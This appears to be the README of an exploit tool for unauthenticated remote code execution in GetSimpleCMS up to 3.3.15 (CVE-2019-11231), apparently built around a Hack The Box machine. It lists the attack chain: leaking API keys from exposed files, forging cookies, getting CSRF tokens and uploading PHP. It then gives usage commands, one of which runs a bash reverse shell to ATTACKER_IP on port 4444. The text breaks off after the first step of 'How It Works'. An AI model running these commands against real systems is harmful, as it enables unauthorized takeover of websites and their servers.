GetSimpleCMS CVE-2019-11231 RCE Exploit

Unauthenticated Remote Code Execution exploit for GetSimpleCMS ≤ 3.3.15

Vulnerability

GetSimpleCMS exposes sensitive files publicly (/data/other/authorization.xml, /data/users/) allowing attackers to:

1. Leak API keys and usernames
2. Forge authentication cookies
3. Obtain CSRF tokens
4. Upload and execute arbitrary PHP code

CVSS Score: 9.8 (Critical)

Usage

pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

How It Works

1. Enumerate version → GET /admin/